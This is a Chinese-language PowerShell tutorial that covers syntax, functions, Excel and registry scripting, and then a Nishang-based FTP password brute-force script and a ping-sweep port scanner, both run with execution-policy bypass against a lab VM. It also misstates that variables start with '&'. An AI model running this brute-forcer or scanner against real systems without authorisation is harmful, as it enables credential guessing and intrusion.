PowerShell入門學習

1、概要

  • Powershell是運行在windows機器上實現系統和應用程序管理自動化的命令行腳本環境。
  • powershell須要.NET環境的支持,同時支持.NET對象。之因此將Powershell 定位爲Power,是由於它徹底支持對象,且其可讀性,易用性,能夠位居當前全部shell之首
  • powershell有四個版本,分別爲1.0,2.0,3.0 ,4.0
    • 在window7或者Windows Server 2008中,內置有PowerShell 2.0,能夠升級爲3.0,4.0。
    • 在Windows 8 或者Windows server 2012中,內置有PowerShell 3.0,能夠升級爲4.0。
    • 在Windows 8.1或者Windows server 2012 R2中,默認是4.0版本。
  • 如下知識點經過PowerShell 在線教程總結,更詳細的能夠進入到連接中學習!

2、PowerShell命令集

一、命令集cmdlets

  • 相似於UNIX和CMD,PowerShell也有本身的命令———cmdlets是Powershell的內部命令,cmdlet的類型名爲System.Management.Automation.CmdletInfo,在網上我找到了其中文說明,再用到的時候能夠查找

二、別名

  • 在上面咱們能夠發現cmdlet的名稱由一個動詞和一個名詞組成,功能一目瞭然,但長度卻過長。這時咱們就須要用到「別名」了!Powershell內部也實現了不少經常使用命令的別名。例如Get-ChildItem,列出當前的子文件或目錄。它有兩個別名:lsdir,這兩個別名來源於unix的shell和windows的cmd。
  • 能夠經過Get-Alias -name 別名查詢別名所指的真實cmdlet命令
    image
  • 查看可用的別名:ls alias:Get-Alias
  • 查看全部別名和指向cmdlet的別名的個數(按降序排列):ls alias: | Group-Object definition | sort -Descending Count
    image
    上圖爲一部分結果

3、Powershell語法

一、變量

  • 變量都是以&開頭的,剩餘字符能夠是數字、字母、下劃線的任意字符,且不區分大小寫。
  • 變量賦值符=,其幾乎能夠把任何數據賦值給一個變量
    image
  • 交換兩個變量的值
    image
  • 自動變量
    • 一旦打開Powershell就會自動加載的變量
    • 列表傳送->
  • 指定類型定義變量:[變量類型]$變量名

二、數組

  • 建立數組
    • $array = 1,2,3,4
    • $array = 1..4
    • $array=1,"2017",([System.Guid]::NewGuid()),(get-date)
    • $a=@() # 空數組
    • $a=,"1" # 一個元素的數組
  • 訪問數組:$array[0]
    image
  • 判斷一個變量是否爲數組:$test -is [array]
  • 數組的追加:$books += "元素4"
  • 強類型數組:[int[]] $nums=@()
  • 哈希表:使用數字尋址或數據類型進行尋址
    • 建立哈希表:$stu=@{ Name = "小明";Age="12";sex="man" }
    • 如上可以使用$stu["Name"]訪問對應Name的值
    • 能夠在建立哈希表時就使用數組:$stu=@{ Name = "小明";Age="12";sex="男";Books="三國演義","圍城","哈姆雷特" }
    • 哈希表的插入與刪除:html

      $Student=@{}
      $Student.Name="hahaha"
      $stu.Remove("Name")

三、條件判斷

  • 比較運算符
    • -eq:等於
    • -ne:不等於
    • -gt:大於
    • -ge:大於等於
    • -lt:小於
    • -le:小於等於
    • -contains:包含
    • -notcontains:不包含
  • 布爾運算
    • -and:和
    • -or:或
    • -xor:異或
    • -not:逆
  • if-else語句shell

    if(條件知足){
      若是條件知足就執行代碼
    }
    else
    {
      若是條件不知足
    }
  • 循環語句whilesegmentfault

    while($n -gt 0){
        code
    }

4、Powershell函數

一、定義函數

  • 函數的結構由三部分組成:函數名,參數,函數體windows

    Function FuncName (args[])
    {
        code;
    }
  • 刪除函數
    • 控制檯定義的函數只會在當前會話生效,一旦控制檯退出,會自動消失。
    • 在不關閉控制檯的條件下刪除一個已經定義好的函數,但是使用虛擬驅動器的方法:del Function:函數名

二、函數的參數

  • 萬能參數:給一個函數定義參數最簡單的是使用$args這個內置的參數。它能夠識別任意個參數。尤爲適用哪些參數無關緊要的函數。$args是一個數組類型。數組

    function sayHello
    {
      if($args.Count -eq 0)
      {
          "No argument!"
      }
      else
      {
          $args | foreach {"Hello,$($_)"}
      }
    }
    • 無參數調用時:sayHello
    • 一個參數調用:sayHello LiLi
    • 多個參數調用時:sayHello LiLi Lucy Tom
  • 設置參數名稱並定義默認值緩存

    function StringContact($str1="moss",$str2="fly")
    {
        return $str1+$str2
    }
  • Return語句
    • Powershell會將函數中全部的輸出做爲返回值,可是也能夠經過return語句指定具體的我返回值。
    • Return語句會將指定的值返回,同時也會中斷函數的執行,return後面的語句會被忽略。

三、異常處理

Try{
    $connection.open()
    $success = $true
}Catch{
    $success = $false
}

四、支持的函數

  • Powershell已經提供了許多用戶可以使用的預約義函數,這些函數能夠經過Function:PSDrive虛擬驅動器查看
    image
  • 做用
    • Clear-Host:清除屏幕的緩存
    • help,man:查看命令的幫助文檔
    • mkdir,md:經過new-Item建立子目錄
    • more:分屏輸出管道結果
    • prompt:返回提示文本
    • TabExpansion:Tab鍵的自動完成提示
    • X:調用Set-Location定位到指定的驅動器根目錄

5、Powershell腳本

  • 編寫
    • 若是腳本不是很長,能夠直接在控制檯中要執行的語句重定向給一個腳本文件。
      image
    • 很是方便的仍是用文本文檔編輯器,編輯完保存爲.ps1後綴便可。
  • 運行
    • .\路徑\文件名
    • 將腳本的執行語句保存爲別名,能夠像執行一個命令同樣執行一個腳本
      image
  • PowerShell也有本身的集成開發環境——PowerShell ISE來編寫腳本,也就是咱們常見的IDE環境,用起來很方便~我參考學習了如何利用Powershell ISE調試PS腳本
  • cmd本地權限繞過執行:PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

6、Powershell管道和重定向

一、管道

  • 把上一條命令的輸出做爲下一條命令的輸入
  • 例:經過ls獲取當前目錄的全部文件信息,而後經過Sort -Descending對文件信息按照Name降序排列,最後將排序好的文件的NameMode格式化成Table輸出
    image

二、重定向

  • 把命令的輸出保存到文件中,>爲覆蓋,>>爲追加。
    image

7、應用

一、Office互操做

  • PowerShell能夠經過COM接口和Office程序交互,最經常使用的是操做Excel,下面咱們開始學習操做Excel。
  • 建立一個可見的Excel對象:$excel.Visible=$true
  • 打開一個現成的工做簿:$workbook = $excel.Workbooks.Open("XXX.xlsx")
  • 建立一個新的工做簿:$workbook = $excel.Workbooks.Add()
  • 選擇某一個工做表(這裏的下標從一開始):$worksheet = $workbook.Worksheets.Item(1)
  • 保存修改後的工做表:$workbook.SaveAs("D:\Desktop\hello.xlsx")
  • 操做數據
    • 利用以上語法咱們對已存在的一個Excel表格進行數據的寫入。
      • 打印九九乘法表安全

        $excel = New-Object -ComObject Excel.Application
        $workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx")
        $worksheet = $workbook.Worksheets.Item(1)
        for ($i = 1; $i -le 9; $i++) {
           # 第一行
           $worksheet.Cells.item(1, $i + 1) = $i
           # 第一列
           $worksheet.Cells.item($i + 1, 1) = $i
           # 它們的乘積
           for ($j = 1; $j -le 9; $j++) {
             $worksheet.Cells.item($i + 1, $j + 1) = $i * $j
          }
        }
      • 命令行運行上面腳本
        image
    • 讀取一個Excel表格中的數據服務器

      $excel = New-Object -ComObject Excel.Application
      $workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx")
      $worksheet = $workbook.Worksheets.Item(1)
      for ($i = 1; $i -le 10; $i++) {
         for ($j = 1; $j -le 10; $j++) {
            Write-Host -NoNewline $worksheet.Cells.item($i, $j).Text "`t"
         }
         Write-Host
      }

      裏面的`t是PowerShell中的製表符,每一個數據之間使用製表符來分隔;write-host爲寫到控制檯,-NoNewline表示顯示在控制檯的信息不以換行結尾。
      image網絡

二、文件管理

  • 文件管理命令。
    • Set-Location:別名cd,切換工做目錄。
    • Get-Location:別名pwd,獲取當前工做目錄。
    • Get-ChildItem:獲取當前目錄下的全部文件。
    • Get-Item:獲取給定文件的信息。
    • Get-Command -Noun item:查看全部文件操做的命令。
  • 如咱們查看桌面上某個應用的信息,可使用Get-Item .\名稱.lnk(由於基本爲快捷方式因此須要lnk後綴)
    image

三、註冊表操做

  • 讀取註冊表
    • 工做目錄切換到某個註冊表內:Set-Location 'HKCU:\Control Panel\Desktop\MuiCached'
    • 獲取當前目錄下注冊表鍵的值:Get-Item .
      image
    • 獲取當前註冊表項的屬性值:Get-ItemProperty . MachinePreferredUILanguages
  • 編輯註冊表項
    • 咱們修改一個安全的註冊表:$path = "HKCU:\Control Panel\Desktop"
    • 新建註冊表項:New-Item –Path $path –Name HelloKey
    • 修改項的屬性:Set-ItemProperty -path $path\hellokey -name Fake -Value fuck
      image
    • 刪除項的屬性:Remove-ItemProperty -path $path\hellokey -name Fake
    • 刪除整個註冊表項:Remove-Item -path $path\hellokey -Recurse

四、將本身編寫的簡單腳本變成工具供他人使用

  • 咱們使用PowerShell自帶的開發工具PowerShell ISE來編寫腳本
  • 咱們首先借用WMI對象寫一個能夠輸出計算機C盤信息的命令:Get-WmiObject win32_logicaldisk | ?{$_.DeviceID -like "C:"}
  • 接下來咱們指定某個計算機:Get-WmiObject -computername localhost -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
  • 咱們的目的是給別人這個腳本,對方直接調用這個腳本後直接輸入命令就能夠用啦
  • 如今將其寫入一個腳本,咱們可使用ctrl+J看到腳本大概的格式並運用,內容以下:框架

    <#
    .Synopsis
       This is for diskinfo
    .DESCRIPTION
       This is for remote computer
    .EXAMPLE
       diskinfo -computername remote
    #>
    function Get-diskinfo
    {
      [CmdletBinding()]
      Param
      (
          # Param 幫助描述
          [Parameter(Mandatory=$true)]
          [string[]]$ComputerName,
          $bogus
      ) 
    
      Get-WmiObject -computername $ComputerName -class win32_logicaldisk | ?{$_.DeviceID -like "C:"} 
    }
  • 咱們能夠運行腳本.\Diskinfo.ps1,經過Get-help Diskinfo -full查看使用解釋等等
  • 如今咱們就可使用咱們寫的這個簡單的腳本工具了
    • 調用腳本:. .\Diskinfo.ps1
    • 使用:get-diskinfo -ComputerName localhost
      image

五、服務爆破

  • 藉助Nishang中的滲透腳本,咱們對FTP爆破
  • 首先在個人虛擬機win7中開啓ftp服務,參考win7下如何創建ftp服務器
  • 測試ftp
    • 網頁輸入ftp://IP地址會提示輸入用戶名和密碼
      image
    • 能夠登錄進去便可
  • 修改腳本,內容以下:

    function Invoke-BruteForce
    {
    
      [CmdletBinding()] Param(
          [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
          [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
          [String]
          $ComputerName,
    
          [Parameter(Position = 1, Mandatory = $true, ValueFromPipeline=$true)]
          [Alias('Users')]
          [String]
          $UserList,
    
          [Parameter(Position = 2, Mandatory = $true)]
          [Alias('Passwords')]
          [String]
          $PasswordList,
    
          [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("SQL","FTP","ActiveDirectory","LocalAccounts","Web")]
          [String]
          $Service = "FTP",
    
          [Parameter(Position = 4, Mandatory = $false)]
          [Switch]
          $StopOnSuccess,
    
          [Parameter(Position = 6, Mandatory = $false)]
          [UInt32]
          $Delay = 0
      )
    
      Process
      {
          # Write-Verbose用於打印詳細信息
          Write-Verbose "Starting Brute-Force and Delay is $Delay."
    
          # 獲取用戶名與密碼字典
          $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
          $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
          if (!$usernames) { 
              $usernames = $UserList
              Write-Verbose "UserList file does not exist."
              Write-Verbose $usernames
          }
          if (!$passwords) {
              $passwords = $PasswordList
              Write-Verbose "PasswordList file does not exist."
              Write-Verbose $passwords
          }
    
          # Brute Force FTP
          if ($service -eq "FTP")
          {
              # 機器名的處理:若ftp://開始直接獲取名字,若沒有直接加上
              if($ComputerName -notMatch "^ftp://")
              {
                  $source = "ftp://" + $ComputerName
              }
              else
              {
                  $source = $ComputerName
              }
              Write-Output "Brute Forcing FTP on $ComputerName"
    
              :UsernameLoop foreach ($username in $usernames)
              {
                  foreach ($Password in $Passwords)
                  {
                      try
                      {   
                          # 調用.net中的FTP庫進行鏈接
                          $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                          $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
    
                          # 經過Verbose輸出的信息
                          Write-Verbose "Trying $userName : $password"
    
                          # 進行認證鏈接
                          $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
    
                          # 獲取返回信息
                          $result = $ftpRequest.GetResponse()
                          $message = $result.BannerMessage + $result.WelcomeMessage
    
                          # 打印信息到控制檯
                          Write-Output "Match $username : $Password"
                          $success = $true
    
                          # 判斷是否要獲得結果馬上退出
                          if ($StopOnSuccess)
                          {
                              break UsernameLoop
                          }
                      }
    
                      catch
                      {
                          $message = $error[0].ToString()
                          $success = $false
                      }
                      # 延時爆破
                      Start-Sleep -Seconds $Delay
                  }
              }
          } 
      }
    
    }

    閱讀相關手冊對一些參數進行解讀

    屬性名 可選參數值 屬性說明
    CmdletBinding類 定義PowerShell的行爲
    Parameter類 定義的參數爲靜態參數
    Mandatory $True, $False 指定參數是不是必要參數,強制用戶輸入
    Position 整數 指定參數位置,若是用戶沒有指定具體參數名稱,那麼PowerShell將根據該值按序填充相應的參數
    ValueFromPipeline $True, $False 是否接受來自管道中的值
    Alias 字符串 指定參數的另外一個名稱
    ValidateSet 集合 檢驗參數值是否在指定的屬性集合中
    ErrorAction 抑制內置的錯誤消息,將ErrorAction設置爲「SilentlyContinue」,錯誤信息就不會輸出了
  • 運行爆破:
    • 先調用該腳本:. .\ps.ps1
    • 開始爆破:Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp
    • 也能夠直接用這個命令:powershell –exec bypass –Command "& {Import-Module 'C:\Users\zyx\Desktop\ps.ps1';Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp }"
  • 結果
    image

五、端口掃描器

  • 如下腳本使用CmdletBinding的方法,來設置參數的形式
  • 主機存活檢測使用Ping來檢測(ICMP)
  • 端口掃描調用.NET的Socket來進行端口鏈接,若是鏈接創建表明端口鏈接成功

    function PortScan {
    [CmdletBinding()] Param(
          [parameter(Mandatory = $true, Position = 0)]
          [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
          [string]
          $StartAddress,
    
          [parameter(Mandatory = $true, Position = 1)]
          [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
          [string]
          $EndAddress,
    
          [switch]
          $GetHost,
    
          [switch]
          $ScanPort,
    
          [int[]]
          $Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030),
    
          [int]
          $TimeOut = 100
      )  
      Begin {
          # 開始以前先調用Ping組件
          $ping = New-Object System.Net.Networkinformation.Ping
      }
      Process {
          # 四層循環獲取解析IP地址
          foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
              foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
              foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
                  foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
                      # write-progress用於在shell界面顯示一個進度條
                      write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
                      # 經過Ping命令發送ICMP包探測主機是否存活
                      $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
                      if($pingStatus.Status -eq "Success") {
                          if($GetHost) {
                              # 本分支主要解決主機名的問題
                              # write-progress用於在shell界面顯示一個進度條
                              write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1
                              # 獲取主機名
                              $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
                          }
                          if($ScanPort) {
                              # 定義一個開放的端口數組, 存儲開放的端口
                              $openPorts = @()
                              for($i = 1; $i -le $ports.Count;$i++) {
                                  $port = $Ports[($i-1)]
                                  # write-progress用於在shell界面顯示一個進度條
                                  write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
                                  # 定義一個Tcp的客戶端
                                  $client = New-Object System.Net.Sockets.TcpClient
                                  # 開始鏈接
                                  $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                                  if($client.Connected) {
                                      # 加入開放的端口
                                      $openPorts += $port
                                  } else {
                                  # 等待, 這裏用於網絡延遲, 防止由於網絡緣由而沒有判斷到端口的開放而錯失不少機會
                                      Start-Sleep -Milli $TimeOut
                                      if($client.Connected) {
                                          $openPorts += $port
                                      }
                                  }
                                  $client.Close()
                              }
                          }
                          if($GetHost) {
                              # 獲取主機名
                              $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
                          }
                          # 返回對象-哈希表
                          New-Object PSObject -Property @{
                          IPAddress = "$a.$b.$c.$d";
                          HostName = $hostName;
                          Ports = $openPorts
                          } | Select-Object IPAddress, HostName, Ports
                      }
                  }
              }
              }
          }
       }
    }
  • 開始掃描:
    • 調用腳本:. .\PortSan.ps1
    • 掃描:PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort
    • 也可使用:powershell –exec bypass –Command "& {Import-Module 'C:\Users\zyx\Desktop\PortScan.ps1';PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort }"
  • 掃描結果
    image

參考資料

相關文章
相關標籤/搜索